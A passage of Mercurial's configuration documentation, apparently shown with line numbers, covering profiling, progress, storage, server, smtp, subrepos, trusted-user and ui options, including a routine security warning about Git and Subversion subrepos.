2023 2023 Use Python's built-in instrumenting profiler. This profiler
2024 2024 works on all platforms, but each line number it reports is the
2025 2025 first line of a function. This restriction makes it difficult to
2026 2026 identify the expensive parts of a non-trivial function.
2027 2027 ``stat``
2028 2028 Use a statistical profiler, statprof. This profiler is most
2029 2029 useful for profiling commands that run for longer than about 0.1
2030 2030 seconds.
2031 2031
2032 2032 ``format``
2033 2033 Profiling format. Specific to the ``ls`` instrumenting profiler.
2034 2034 (default: text)
2035 2035
2036 2036 ``text``
2037 2037 Generate a profiling report. When saving to a file, it should be
2038 2038 noted that only the report is saved, and the profiling data is
2039 2039 not kept.
2040 2040 ``kcachegrind``
2041 2041 Format profiling data for kcachegrind use: when saving to a
2042 2042 file, the generated file can directly be loaded into
2043 2043 kcachegrind.
2044 2044
2045 2045 ``statformat``
2046 2046 Profiling format for the ``stat`` profiler.
2047 2047 (default: hotpath)
2048 2048
2049 2049 ``hotpath``
2050 2050 Show a tree-based display containing the hot path of execution (where
2051 2051 most time was spent).
2052 2052 ``bymethod``
2053 2053 Show a table of methods ordered by how frequently they are active.
2054 2054 ``byline``
2055 2055 Show a table of lines in files ordered by how frequently they are active.
2056 2056 ``json``
2057 2057 Render profiling data as JSON.
2058 2058
2059 2059 ``freq``
2060 2060 Sampling frequency. Specific to the ``stat`` sampling profiler.
2061 2061 (default: 1000)
2062 2062
2063 2063 ``output``
2064 2064 File path where profiling data or report should be saved. If the
2065 2065 file exists, it is replaced. (default: None, data is printed on
2066 2066 stderr)
2067 2067
2068 2068 ``sort``
2069 2069 Sort field. Specific to the ``ls`` instrumenting profiler.
2070 2070 One of ``callcount``, ``reccallcount``, ``totaltime`` and
2071 2071 ``inlinetime``.
2072 2072 (default: inlinetime)
2073 2073
2074 2074 ``time-track``
2075 2075 Control if the stat profiler track ``cpu`` or ``real`` time.
2076 2076 (default: ``cpu`` on Windows, otherwise ``real``)
2077 2077
2078 2078 ``limit``
2079 2079 Number of lines to show. Specific to the ``ls`` instrumenting profiler.
2080 2080 (default: 30)
2081 2081
2082 2082 ``nested``
2083 2083 Show at most this number of lines of drill-down info after each main entry.
2084 2084 This can help explain the difference between Total and Inline.
2085 2085 Specific to the ``ls`` instrumenting profiler.
2086 2086 (default: 0)
2087 2087
2088 2088 ``showmin``
2089 2089 Minimum fraction of samples an entry must have for it to be displayed.
2090 2090 Can be specified as a float between ``0.0`` and ``1.0`` or can have a
2091 2091 ``%`` afterwards to allow values up to ``100``. e.g. ``5%``.
2092 2092
2093 2093 Only used by the ``stat`` profiler.
2094 2094
2095 2095 For the ``hotpath`` format, default is ``0.05``.
2096 2096 For the ``chrome`` format, default is ``0.005``.
2097 2097
2098 2098 The option is unused on other formats.
2099 2099
2100 2100 ``showmax``
2101 2101 Maximum fraction of samples an entry can have before it is ignored in
2102 2102 display. Values format is the same as ``showmin``.
2103 2103
2104 2104 Only used by the ``stat`` profiler.
2105 2105
2106 2106 For the ``chrome`` format, default is ``0.999``.
2107 2107
2108 2108 The option is unused on other formats.
2109 2109
2110 2110 ``showtime``
2111 2111 Show time taken as absolute durations, in addition to percentages.
2112 2112 Only used by the ``hotpath`` format.
2113 2113 (default: true)
2114 2114
2115 2115 ``progress``
2116 2116 ------------
2117 2117
2118 2118 Mercurial commands can draw progress bars that are as informative as
2119 2119 possible. Some progress bars only offer indeterminate information, while others
2120 2120 have a definite end point.
2121 2121
2122 2122 ``debug``
2123 2123 Whether to print debug info when updating the progress bar. (default: False)
2124 2124
2125 2125 ``delay``
2126 2126 Number of seconds (float) before showing the progress bar. (default: 3)
2127 2127
2128 2128 ``changedelay``
2129 2129 Minimum delay before showing a new topic. When set to less than 3 * refresh,
2130 2130 that value will be used instead. (default: 1)
2131 2131
2132 2132 ``estimateinterval``
2133 2133 Maximum sampling interval in seconds for speed and estimated time
2134 2134 calculation. (default: 60)
2135 2135
2136 2136 ``refresh``
2137 2137 Time in seconds between refreshes of the progress bar. (default: 0.1)
2138 2138
2139 2139 ``format``
2140 2140 Format of the progress bar.
2141 2141
2142 2142 Valid entries for the format field are ``topic``, ``bar``, ``number``,
2143 2143 ``unit``, ``estimate``, ``speed``, and ``item``. ``item`` defaults to the
2144 2144 last 20 characters of the item, but this can be changed by adding either
2145 2145 ``-<num>`` which would take the last num characters, or ``+<num>`` for the
2146 2146 first num characters.
2147 2147
2148 2148 (default: topic bar number estimate)
2149 2149
2150 2150 ``width``
2151 2151 If set, the maximum width of the progress information (that is, min(width,
2152 2152 term width) will be used).
2153 2153
2154 2154 ``clear-complete``
2155 2155 Clear the progress bar after it's done. (default: True)
2156 2156
2157 2157 ``disable``
2158 2158 If true, don't show a progress bar.
2159 2159
2160 2160 ``assume-tty``
2161 2161 If true, ALWAYS show a progress bar, unless disable is given.
2162 2162
2163 2163 ``rebase``
2164 2164 ----------
2165 2165
2166 2166 ``evolution.allowdivergence``
2167 2167 Default to False, when True allow creating divergence when performing
2168 2168 rebase of obsolete changesets.
2169 2169
2170 2170 ``revsetalias``
2171 2171 ---------------
2172 2172
2173 2173 Alias definitions for revsets. See :hg:`help revsets` for details.
2174 2174
2175 2175 ``rewrite``
2176 2176 -----------
2177 2177
2178 2178 ``backup-bundle``
2179 2179 Whether to save stripped changesets to a bundle file. (default: True)
2180 2180
2181 2181 ``update-timestamp``
2182 2182 If true, updates the date and time of the changeset to current. It is only
2183 2183 applicable for `hg amend`, `hg commit --amend` and `hg uncommit` in the
2184 2184 current version.
2185 2185
2186 2186 ``empty-successor``
2187 2187
2188 2188 Control what happens with empty successors that are the result of rewrite
2189 2189 operations. If set to ``skip``, the successor is not created. If set to
2190 2190 ``keep``, the empty successor is created and kept.
2191 2191
2192 2192 Currently, only the rebase and absorb commands consider this configuration.
2193 2193 (EXPERIMENTAL)
2194 2194
2195 2195 ``rhg``
2196 2196 -------
2197 2197
2198 2198 The pure Rust fast-path for Mercurial. See `rust/README.rst` in the Mercurial repository.
2199 2199
2200 2200 ``fallback-executable``
2201 2201 Path to the executable to run in a sub-process when falling back to
2202 2202 another implementation of Mercurial.
2203 2203
2204 2204 ``fallback-immediately``
2205 2205 Fall back to ``fallback-executable`` as soon as possible, regardless of
2206 2206 the `rhg.on-unsupported` configuration. Useful for debugging, for example to
2207 2207 bypass `rhg` if the deault `hg` points to `rhg`.
2208 2208
2209 2209 Note that because this requires loading the configuration, it is possible
2210 2210 that `rhg` error out before being able to fall back.
2211 2211
2212 2212 ``ignored-extensions``
2213 2213 Controls which extensions should be ignored by `rhg`. By default, `rhg`
2214 2214 triggers the `rhg.on-unsupported` behavior any unsupported extensions.
2215 2215 Users can disable that behavior when they know that a given extension
2216 2216 does not need support from `rhg`.
2217 2217
2218 2218 Expects a list of extension names, or ``*`` to ignore all extensions.
2219 2219
2220 2220 Note: ``*:<suboption>`` is also a valid extension name for this
2221 2221 configuration option.
2222 2222 As of this writing, the only valid "global" suboption is ``required``.
2223 2223
2224 2224 ``on-unsupported``
2225 2225 Controls the behavior of `rhg` when detecting unsupported features.
2226 2226
2227 2227 Possible values are `abort` (default), `abort-silent` and `fallback`.
2228 2228
2229 2229 ``abort``
2230 2230 Print an error message describing what feature is not supported,
2231 2231 and exit with code 252
2232 2232
2233 2233 ``abort-silent``
2234 2234 Silently exit with code 252
2235 2235
2236 2236 ``fallback``
2237 2237 Try running the fallback executable with the same parameters
2238 2238 (and trace the fallback reason, use `RUST_LOG=trace` to see).
2239 2239
2240 2240 ``share``
2241 2241 ---------
2242 2242
2243 2243 ``safe-mismatch.source-safe``
2244 2244 Controls what happens when the shared repository does not use the
2245 2245 share-safe mechanism but its source repository does.
2246 2246
2247 2247 Possible values are `abort` (default), `allow`, `upgrade-abort` and
2248 2248 `upgrade-allow`.
2249 2249
2250 2250 ``abort``
2251 2251 Disallows running any command and aborts
2252 2252 ``allow``
2253 2253 Respects the feature presence in the share source
2254 2254 ``upgrade-abort``
2255 2255 Tries to upgrade the share to use share-safe; if it fails, aborts
2256 2256 ``upgrade-allow``
2257 2257 Tries to upgrade the share; if it fails, continue by
2258 2258 respecting the share source setting
2259 2259
2260 2260 Check :hg:`help config.format.use-share-safe` for details about the
2261 2261 share-safe feature.
2262 2262
2263 2263 ``safe-mismatch.source-safe:verbose-upgrade``
2264 2264 Display a message when upgrading, (default: True)
2265 2265
2266 2266 ``safe-mismatch.source-safe.warn``
2267 2267 Shows a warning on operations if the shared repository does not use
2268 2268 share-safe, but the source repository does.
2269 2269 (default: True)
2270 2270
2271 2271 ``safe-mismatch.source-not-safe``
2272 2272 Controls what happens when the shared repository uses the share-safe
2273 2273 mechanism but its source does not.
2274 2274
2275 2275 Possible values are `abort` (default), `allow`, `downgrade-abort` and
2276 2276 `downgrade-allow`.
2277 2277
2278 2278 ``abort``
2279 2279 Disallows running any command and aborts
2280 2280 ``allow``
2281 2281 Respects the feature presence in the share source
2282 2282 ``downgrade-abort``
2283 2283 Tries to downgrade the share to not use share-safe; if it fails, aborts
2284 2284 ``downgrade-allow``
2285 2285 Tries to downgrade the share to not use share-safe;
2286 2286 if it fails, continue by respecting the shared source setting
2287 2287
2288 2288 Check :hg:`help config.format.use-share-safe` for details about the
2289 2289 share-safe feature.
2290 2290
2291 2291 ``safe-mismatch.source-not-safe:verbose-upgrade``
2292 2292 Display a message when upgrading, (default: True)
2293 2293
2294 2294 ``safe-mismatch.source-not-safe.warn``
2295 2295 Shows a warning on operations if the shared repository uses share-safe,
2296 2296 but the source repository does not.
2297 2297 (default: True)
2298 2298
2299 2299 ``storage``
2300 2300 -----------
2301 2301
2302 2302 Control the strategy Mercurial uses internally to store history. Options in this
2303 2303 category impact performance and repository size.
2304 2304
2305 2305 ``revlog.issue6528.fix-incoming``
2306 2306 Version 5.8 of Mercurial had a bug leading to altering the parent of file
2307 2307 revision with copy information (or any other metadata) on exchange. This
2308 2308 leads to the copy metadata to be overlooked by various internal logic. The
2309 2309 issue was fixed in Mercurial 5.8.1.
2310 2310 (See https://bz.mercurial-scm.org/show_bug.cgi?id=6528 for details)
2311 2311
2312 2312 As a result Mercurial is now checking and fixing incoming file revisions to
2313 2313 make sure there parents are in the right order. This behavior can be
2314 2314 disabled by setting this option to `no`. This apply to revisions added
2315 2315 through push, pull, clone and unbundle.
2316 2316
2317 2317 To fix affected revisions that already exist within the repository, one can
2318 2318 use :hg:`debug-repair-issue-6528`.
2319 2319
2320 2320 .. container:: verbose
2321 2321
2322 2322 ``revlog.delta-parent-search.candidate-group-chunk-size``
2323 2323 Tune the number of delta bases the storage will consider in the
2324 2324 same "round" of search. In some very rare cases, using a smaller value
2325 2325 might result in faster processing at the possible expense of storage
2326 2326 space, while using larger values might result in slower processing at the
2327 2327 possible benefit of storage space. A value of "0" means no limitation.
2328 2328
2329 2329 default: no limitation
2330 2330
2331 2331 This is unlikely that you'll have to tune this configuration. If you think
2332 2332 you do, consider talking with the mercurial developer community about your
2333 2333 repositories.
2334 2334
2335 2335 ``revlog.optimize-delta-parent-choice``
2336 2336 When storing a merge revision, both parents will be equally considered as
2337 2337 a possible delta base. This results in better delta selection and improved
2338 2338 revlog compression. This option is enabled by default.
2339 2339
2340 2340 Turning this option off can result in large increase of repository size for
2341 2341 repository with many merges.
2342 2342
2343 2343 ``revlog.persistent-nodemap.mmap``
2344 2344 Whether to use the Operating System "memory mapping" feature (when
2345 2345 possible) to access the persistent nodemap data. This improve performance
2346 2346 and reduce memory pressure.
2347 2347
2348 2348 Default to True.
2349 2349
2350 2350 For details on the "persistent-nodemap" feature, see:
2351 2351 :hg:`help config.format.use-persistent-nodemap`.
2352 2352
2353 2353 ``revlog.persistent-nodemap.slow-path``
2354 2354 Control the behavior of Merucrial when using a repository with "persistent"
2355 2355 nodemap with an installation of Mercurial without a fast implementation for
2356 2356 the feature:
2357 2357
2358 2358 ``allow``: Silently use the slower implementation to access the repository.
2359 2359 ``warn``: Warn, but use the slower implementation to access the repository.
2360 2360 ``abort``: Prevent access to such repositories. (This is the default)
2361 2361
2362 2362 For details on the "persistent-nodemap" feature, see:
2363 2363 :hg:`help config.format.use-persistent-nodemap`.
2364 2364
2365 2365 ``revlog.reuse-external-delta-parent``
2366 2366 Control the order in which delta parents are considered when adding new
2367 2367 revisions from an external source.
2368 2368 (typically: apply bundle from `hg pull` or `hg push`).
2369 2369
2370 2370 New revisions are usually provided as a delta against other revisions. By
2371 2371 default, Mercurial will try to reuse this delta first, therefore using the
2372 2372 same "delta parent" as the source. Directly using delta's from the source
2373 2373 reduces CPU usage and usually speeds up operation. However, in some case,
2374 2374 the source might have sub-optimal delta bases and forcing their reevaluation
2375 2375 is useful. For example, pushes from an old client could have sub-optimal
2376 2376 delta's parent that the server want to optimize. (lack of general delta, bad
2377 2377 parents, choice, lack of sparse-revlog, etc).
2378 2378
2379 2379 This option is enabled by default. Turning it off will ensure bad delta
2380 2380 parent choices from older client do not propagate to this repository, at
2381 2381 the cost of a small increase in CPU consumption.
2382 2382
2383 2383 Note: this option only control the order in which delta parents are
2384 2384 considered. Even when disabled, the existing delta from the source will be
2385 2385 reused if the same delta parent is selected.
2386 2386
2387 2387 ``revlog.reuse-external-delta``
2388 2388 Control the reuse of delta from external source.
2389 2389 (typically: apply bundle from `hg pull` or `hg push`).
2390 2390
2391 2391 New revisions are usually provided as a delta against another revision. By
2392 2392 default, Mercurial will not recompute the same delta again, trusting
2393 2393 externally provided deltas. There have been rare cases of small adjustment
2394 2394 to the diffing algorithm in the past. So in some rare case, recomputing
2395 2395 delta provided by ancient clients can provides better results. Disabling
2396 2396 this option means going through a full delta recomputation for all incoming
2397 2397 revisions. It means a large increase in CPU usage and will slow operations
2398 2398 down.
2399 2399
2400 2400 This option is enabled by default. When disabled, it also disables the
2401 2401 related ``storage.revlog.reuse-external-delta-parent`` option.
2402 2402
2403 2403 ``revlog.zlib.level``
2404 2404 Zlib compression level used when storing data into the repository. Accepted
2405 2405 Value range from 1 (lowest compression) to 9 (highest compression). Zlib
2406 2406 default value is 6.
2407 2407
2408 2408
2409 2409 ``revlog.zstd.level``
2410 2410 zstd compression level used when storing data into the repository. Accepted
2411 2411 Value range from 1 (lowest compression) to 22 (highest compression).
2412 2412 (default 3)
2413 2413
2414 2414 ``server``
2415 2415 ----------
2416 2416
2417 2417 Controls generic server settings.
2418 2418
2419 2419 ``bookmarks-pushkey-compat``
2420 2420 Trigger pushkey hook when being pushed bookmark updates. This config exist
2421 2421 for compatibility purpose (default to True)
2422 2422
2423 2423 If you use ``pushkey`` and ``pre-pushkey`` hooks to control bookmark
2424 2424 movement we recommend you migrate them to ``txnclose-bookmark`` and
2425 2425 ``pretxnclose-bookmark``.
2426 2426
2427 2427 ``compressionengines``
2428 2428 List of compression engines and their relative priority to advertise
2429 2429 to clients.
2430 2430
2431 2431 The order of compression engines determines their priority, the first
2432 2432 having the highest priority. If a compression engine is not listed
2433 2433 here, it won't be advertised to clients.
2434 2434
2435 2435 If not set (the default), built-in defaults are used. Run
2436 2436 :hg:`debuginstall` to list available compression engines and their
2437 2437 default wire protocol priority.
2438 2438
2439 2439 Older Mercurial clients only support zlib compression and this setting
2440 2440 has no effect for legacy clients.
2441 2441
2442 2442 ``uncompressed``
2443 2443 Whether to allow clients to clone a repository using the
2444 2444 uncompressed streaming protocol. This transfers about 40% more
2445 2445 data than a regular clone, but uses less memory and CPU on both
2446 2446 server and client. Over a LAN (100 Mbps or better) or a very fast
2447 2447 WAN, an uncompressed streaming clone is a lot faster (~10x) than a
2448 2448 regular clone. Over most WAN connections (anything slower than
2449 2449 about 6 Mbps), uncompressed streaming is slower, because of the
2450 2450 extra data transfer overhead. This mode will also temporarily hold
2451 2451 the write lock while determining what data to transfer.
2452 2452 (default: True)
2453 2453
2454 2454 ``uncompressedallowsecret``
2455 2455 Whether to allow stream clones when the repository contains secret
2456 2456 changesets. (default: False)
2457 2457
2458 2458 ``preferuncompressed``
2459 2459 When set, clients will try to use the uncompressed streaming
2460 2460 protocol. (default: False)
2461 2461
2462 2462 ``disablefullbundle``
2463 2463 When set, servers will refuse attempts to do pull-based clones.
2464 2464 If this option is set, ``preferuncompressed`` and/or clone bundles
2465 2465 are highly recommended. Partial clones will still be allowed.
2466 2466 (default: False)
2467 2467
2468 2468 ``streamunbundle``
2469 2469 When set, servers will apply data sent from the client directly,
2470 2470 otherwise it will be written to a temporary file first. This option
2471 2471 effectively prevents concurrent pushes.
2472 2472
2473 2473 ``pullbundle``
2474 2474 When set, the server will check pullbundles.manifest for bundles
2475 2475 covering the requested heads and common nodes. The first matching
2476 2476 entry will be streamed to the client.
2477 2477
2478 2478 For HTTP transport, the stream will still use zlib compression
2479 2479 for older clients.
2480 2480
2481 2481 ``concurrent-push-mode``
2482 2482 Level of allowed race condition between two pushing clients.
2483 2483
2484 2484 - 'strict': push is abort if another client touched the repository
2485 2485 while the push was preparing.
2486 2486 - 'check-related': push is only aborted if it affects head that got also
2487 2487 affected while the push was preparing. (default since 5.4)
2488 2488
2489 2489 'check-related' only takes effect for compatible clients (version
2490 2490 4.3 and later). Older clients will use 'strict'.
2491 2491
2492 2492 ``validate``
2493 2493 Whether to validate the completeness of pushed changesets by
2494 2494 checking that all new file revisions specified in manifests are
2495 2495 present. (default: False)
2496 2496
2497 2497 ``maxhttpheaderlen``
2498 2498 Instruct HTTP clients not to send request headers longer than this
2499 2499 many bytes. (default: 1024)
2500 2500
2501 2501 ``bundle1``
2502 2502 Whether to allow clients to push and pull using the legacy bundle1
2503 2503 exchange format. (default: True)
2504 2504
2505 2505 ``bundle1gd``
2506 2506 Like ``bundle1`` but only used if the repository is using the
2507 2507 *generaldelta* storage format. (default: True)
2508 2508
2509 2509 ``bundle1.push``
2510 2510 Whether to allow clients to push using the legacy bundle1 exchange
2511 2511 format. (default: True)
2512 2512
2513 2513 ``bundle1gd.push``
2514 2514 Like ``bundle1.push`` but only used if the repository is using the
2515 2515 *generaldelta* storage format. (default: True)
2516 2516
2517 2517 ``bundle1.pull``
2518 2518 Whether to allow clients to pull using the legacy bundle1 exchange
2519 2519 format. (default: True)
2520 2520
2521 2521 ``bundle1gd.pull``
2522 2522 Like ``bundle1.pull`` but only used if the repository is using the
2523 2523 *generaldelta* storage format. (default: True)
2524 2524
2525 2525 Large repositories using the *generaldelta* storage format should
2526 2526 consider setting this option because converting *generaldelta*
2527 2527 repositories to the exchange format required by the bundle1 data
2528 2528 format can consume a lot of CPU.
2529 2529
2530 2530 ``bundle2.stream``
2531 2531 Whether to allow clients to pull using the bundle2 streaming protocol.
2532 2532 (default: True)
2533 2533
2534 2534 ``zliblevel``
2535 2535 Integer between ``-1`` and ``9`` that controls the zlib compression level
2536 2536 for wire protocol commands that send zlib compressed output (notably the
2537 2537 commands that send repository history data).
2538 2538
2539 2539 The default (``-1``) uses the default zlib compression level, which is
2540 2540 likely equivalent to ``6``. ``0`` means no compression. ``9`` means
2541 2541 maximum compression.
2542 2542
2543 2543 Setting this option allows server operators to make trade-offs between
2544 2544 bandwidth and CPU used. Lowering the compression lowers CPU utilization
2545 2545 but sends more bytes to clients.
2546 2546
2547 2547 This option only impacts the HTTP server.
2548 2548
2549 2549 ``zstdlevel``
2550 2550 Integer between ``1`` and ``22`` that controls the zstd compression level
2551 2551 for wire protocol commands. ``1`` is the minimal amount of compression and
2552 2552 ``22`` is the highest amount of compression.
2553 2553
2554 2554 The default (``3``) should be significantly faster than zlib while likely
2555 2555 delivering better compression ratios.
2556 2556
2557 2557 This option only impacts the HTTP server.
2558 2558
2559 2559 See also ``server.zliblevel``.
2560 2560
2561 2561 ``view``
2562 2562 Repository filter used when exchanging revisions with the peer.
2563 2563
2564 2564 The default view (``served``) excludes secret and hidden changesets.
2565 2565 Another useful value is ``immutable`` (no draft, secret or hidden
2566 2566 changesets). (EXPERIMENTAL)
2567 2567
2568 2568 ``smtp``
2569 2569 --------
2570 2570
2571 2571 Configuration for extensions that need to send email messages.
2572 2572
2573 2573 ``host``
2574 2574 Host name of mail server, e.g. "mail.example.com".
2575 2575
2576 2576 ``port``
2577 2577 Optional. Port to connect to on mail server. (default: 465 if
2578 2578 ``tls`` is smtps; 25 otherwise)
2579 2579
2580 2580 ``tls``
2581 2581 Optional. Method to enable TLS when connecting to mail server: starttls,
2582 2582 smtps or none. (default: none)
2583 2583
2584 2584 ``username``
2585 2585 Optional. User name for authenticating with the SMTP server.
2586 2586 (default: None)
2587 2587
2588 2588 ``password``
2589 2589 Optional. Password for authenticating with the SMTP server. If not
2590 2590 specified, interactive sessions will prompt the user for a
2591 2591 password; non-interactive sessions will fail. (default: None)
2592 2592
2593 2593 ``local_hostname``
2594 2594 Optional. The hostname that the sender can use to identify
2595 2595 itself to the MTA.
2596 2596
2597 2597
2598 2598 ``subpaths``
2599 2599 ------------
2600 2600
2601 2601 Subrepository source URLs can go stale if a remote server changes name
2602 2602 or becomes temporarily unavailable. This section lets you define
2603 2603 rewrite rules of the form::
2604 2604
2605 2605 <pattern> = <replacement>
2606 2606
2607 2607 where ``pattern`` is a regular expression matching a subrepository
2608 2608 source URL and ``replacement`` is the replacement string used to
2609 2609 rewrite it. Groups can be matched in ``pattern`` and referenced in
2610 2610 ``replacements``. For instance::
2611 2611
2612 2612 http://server/(.*)-hg/ = http://hg.server/\1/
2613 2613
2614 2614 rewrites ``http://server/foo-hg/`` into ``http://hg.server/foo/``.
2615 2615
2616 2616 Relative subrepository paths are first made absolute, and the
2617 2617 rewrite rules are then applied on the full (absolute) path. If ``pattern``
2618 2618 doesn't match the full path, an attempt is made to apply it on the
2619 2619 relative path alone. The rules are applied in definition order.
2620 2620
2621 2621 ``subrepos``
2622 2622 ------------
2623 2623
2624 2624 This section contains options that control the behavior of the
2625 2625 subrepositories feature. See also :hg:`help subrepos`.
2626 2626
2627 2627 Security note: auditing in Mercurial is known to be insufficient to
2628 2628 prevent clone-time code execution with carefully constructed Git
2629 2629 subrepos. It is unknown if a similar detect is present in Subversion
2630 2630 subrepos. Both Git and Subversion subrepos are disabled by default
2631 2631 out of security concerns. These subrepo types can be enabled using
2632 2632 the respective options below.
2633 2633
2634 2634 ``allowed``
2635 2635 Whether subrepositories are allowed in the working directory.
2636 2636
2637 2637 When false, commands involving subrepositories (like :hg:`update`)
2638 2638 will fail for all subrepository types.
2639 2639 (default: true)
2640 2640
2641 2641 ``hg:allowed``
2642 2642 Whether Mercurial subrepositories are allowed in the working
2643 2643 directory. This option only has an effect if ``subrepos.allowed``
2644 2644 is true.
2645 2645 (default: true)
2646 2646
2647 2647 ``git:allowed``
2648 2648 Whether Git subrepositories are allowed in the working directory.
2649 2649 This option only has an effect if ``subrepos.allowed`` is true.
2650 2650
2651 2651 See the security note above before enabling Git subrepos.
2652 2652 (default: false)
2653 2653
2654 2654 ``svn:allowed``
2655 2655 Whether Subversion subrepositories are allowed in the working
2656 2656 directory. This option only has an effect if ``subrepos.allowed``
2657 2657 is true.
2658 2658
2659 2659 See the security note above before enabling Subversion subrepos.
2660 2660 (default: false)
2661 2661
2662 2662 ``templatealias``
2663 2663 -----------------
2664 2664
2665 2665 Alias definitions for templates. See :hg:`help templates` for details.
2666 2666
2667 2667 ``templates``
2668 2668 -------------
2669 2669
2670 2670 Use the ``[templates]`` section to define template strings.
2671 2671 See :hg:`help templates` for details.
2672 2672
2673 2673 ``trusted``
2674 2674 -----------
2675 2675
2676 2676 Mercurial will not use the settings in the
2677 2677 ``.hg/hgrc`` file from a repository if it doesn't belong to a trusted
2678 2678 user or to a trusted group, as various hgrc features allow arbitrary
2679 2679 commands to be run. This issue is often encountered when configuring
2680 2680 hooks or extensions for shared repositories or servers. However,
2681 2681 the web interface will use some safe settings from the ``[web]``
2682 2682 section.
2683 2683
2684 2684 This section specifies what users and groups are trusted. The
2685 2685 current user is always trusted. To trust everybody, list a user or a
2686 2686 group with name ``*``. These settings must be placed in an
2687 2687 *already-trusted file* to take effect, such as ``$HOME/.hgrc`` of the
2688 2688 user or service running Mercurial.
2689 2689
2690 2690 ``users``
2691 2691 Comma-separated list of trusted users.
2692 2692
2693 2693 ``groups``
2694 2694 Comma-separated list of trusted groups.
2695 2695
2696 2696
2697 2697 ``ui``
2698 2698 ------
2699 2699
2700 2700 User interface controls.
2701 2701
2702 2702 ``archivemeta``
2703 2703 Whether to include the .hg_archival.txt file containing meta data
2704 2704 (hashes for the repository base and for tip) in archives created
2705 2705 by the :hg:`archive` command or downloaded via hgweb.
2706 2706 (default: True)
2707 2707
2708 2708 ``askusername``
2709 2709 Whether to prompt for a username when committing. If True, and
2710 2710 neither ``$HGUSER`` nor ``$EMAIL`` has been specified, then the user will
2711 2711 be prompted to enter a username. If no username is entered, the
2712 2712 default ``USER@HOST`` is used instead.
2713 2713 (default: False)
2714 2714
2715 2715 ``clonebundles``
2716 2716 Whether the "clone bundles" feature is enabled.
2717 2717
2718 2718 When enabled, :hg:`clone` may download and apply a server-advertised
2719 2719 bundle file from a URL instead of using the normal exchange mechanism.
2720 2720
2721 2721 This can likely result in faster and more reliable clones.
2722 2722
2723 2723 (default: True)
2724 2724
2725 2725 ``clonebundlefallback``
2726 2726 Whether failure to apply an advertised "clone bundle" from a server
2727 2727 should result in fallback to a regular clone.
2728 2728
2729 2729 This is disabled by default because servers advertising "clone
2730 2730 bundles" often do so to reduce server load. If advertised bundles
2731 2731 start mass failing and clients automatically fall back to a regular
2732 2732 clone, this would add significant and unexpected load to the server
2733 2733 since the server is expecting clone operations to be offloaded to
2734 2734 pre-generated bundles. Failing fast (the default behavior) ensures
2735 2735 clients don't overwhelm the server when "clone bundle" application
2736 2736 fails.
2737 2737
2738 2738 (default: False)
2739 2739
2740 2740 ``clonebundleprefers``
2741 2741 Defines preferences for which "clone bundles" to use.
2742 2742
2743 2743 Servers advertising "clone bundles" may advertise multiple available
2744 2744 bundles. Each bundle may have different attributes, such as the bundle
2745 2745 type and compression format. This option is used to prefer a particular
2746 2746 bundle over another.
2747 2747
2748 2748 The following keys are defined by Mercurial:
2749 2749
2750 2750 BUNDLESPEC
2751 2751 A bundle type specifier. These are strings passed to :hg:`bundle -t`.
2752 2752 e.g. ``gzip-v2`` or ``bzip2-v1``.
2753 2753
2754 2754 COMPRESSION
2755 2755 The compression format of the bundle. e.g. ``gzip`` and ``bzip2``.
2756 2756
2757 2757 Server operators may define custom keys.
2758 2758
2759 2759 Example values: ``COMPRESSION=bzip2``,
2760 2760 ``BUNDLESPEC=gzip-v2, COMPRESSION=gzip``.
2761 2761
2762 2762 By default, the first bundle advertised by the server is used.
2763 2763
2764 2764 ``color``
2765 2765 When to colorize output. Possible value are Boolean ("yes" or "no"), or
2766 2766 "debug", or "always". (default: "yes"). "yes" will use color whenever it
2767 2767 seems possible. See :hg:`help color` for details.
2768 2768
2769 2769 ``commitsubrepos``
2770 2770 Whether to commit modified subrepositories when committing the
2771 2771 parent repository. If False and one subrepository has uncommitted
2772 2772 changes, abort the commit.
2773 2773 (default: False)
2774 2774
2775 2775 ``debug``
2776 2776 Print debugging information. (default: False)
2777 2777
2778 2778 ``editor``
2779 2779 The editor to use during a commit. (default: ``$EDITOR`` or ``vi``)
2780 2780
2781 2781 ``fallbackencoding``
2782 2782 Encoding to try if it's not possible to decode the changelog using
2783 2783 UTF-8. (default: ISO-8859-1)
2784 2784
2785 2785 ``graphnodetemplate``
2786 2786 (DEPRECATED) Use ``command-templates.graphnode`` instead.
2787 2787
2788 2788 ``ignore``
2789 2789 A file to read per-user ignore patterns from. This file should be
2790 2790 in the same format as a repository-wide .hgignore file. Filenames
2791 2791 are relative to the repository root. This option supports hook syntax,
2792 2792 so if you want to specify multiple ignore files, you can do so by
2793 2793 setting something like ``ignore.other = ~/.hgignore2``. For details
2794 2794 of the ignore file format, see the ``hgignore(5)`` man page.
2795 2795
2796 2796 ``interactive``
2797 2797 Allow to prompt the user. (default: True)
2798 2798
2799 2799 ``interface``
2800 2800 Select the default interface for interactive features (default: text).
2801 2801 Possible values are 'text' and 'curses'.
2802 2802
2803 2803 ``interface.chunkselector``
2804 2804 Select the interface for change recording (e.g. :hg:`commit -i`).
2805 2805 Possible values are 'text' and 'curses'.
2806 2806 This config overrides the interface specified by ui.interface.
2807 2807
2808 2808 ``large-file-limit``
2809 2809 Largest file size that gives no memory use warning.
2810 2810 Possible values are integers or 0 to disable the check.
2811 2811 Value is expressed in bytes by default, one can use standard units for
2812 2812 convenience (e.g. 10MB, 0.1GB, etc) (default: 10MB)
2813 2813
2814 2814 ``logtemplate``
2815 2815 (DEPRECATED) Use ``command-templates.log`` instead.
2816 2816
2817 2817 ``merge``
2818 2818 The conflict resolution program to use during a manual merge.
2819 2819 For more information on merge tools see :hg:`help merge-tools`.
2820 2820 For configuring merge tools see the ``[merge-tools]`` section.
2821 2821
2822 2822 ``mergemarkers``
2823 2823 Sets the merge conflict marker label styling. The ``detailed`` style
2824 2824 uses the ``command-templates.mergemarker`` setting to style the labels.
2825 2825 The ``basic`` style just uses 'local' and 'other' as the marker label.
2826 2826 One of ``basic`` or ``detailed``.
2827 2827 (default: ``basic``)
2828 2828
2829 2829 ``mergemarkertemplate``
2830 2830 (DEPRECATED) Use ``command-templates.mergemarker`` instead.
2831 2831
2832 2832 ``message-output``
2833 2833 Where to write status and error messages. (default: ``stdio``)
2834 2834
2835 2835 ``channel``
2836 2836 Use separate channel for structured output. (Command-server only)
2837 2837 ``stderr``
2838 2838 Everything to stderr.
2839 2839 ``stdio``
2840 2840 Status to stdout, and error to stderr.
2841 2841
2842 2842 ``origbackuppath``
2843 2843 The path to a directory used to store generated .orig files. If the path is
2844 2844 not a directory, one will be created. If set, files stored in this
2845 2845 directory have the same name as the original file and do not have a .orig
2846 2846 suffix.
2847 2847
2848 2848 ``paginate``
2849 2849 Control the pagination of command output (default: True). See :hg:`help pager`
2850 2850 for details.
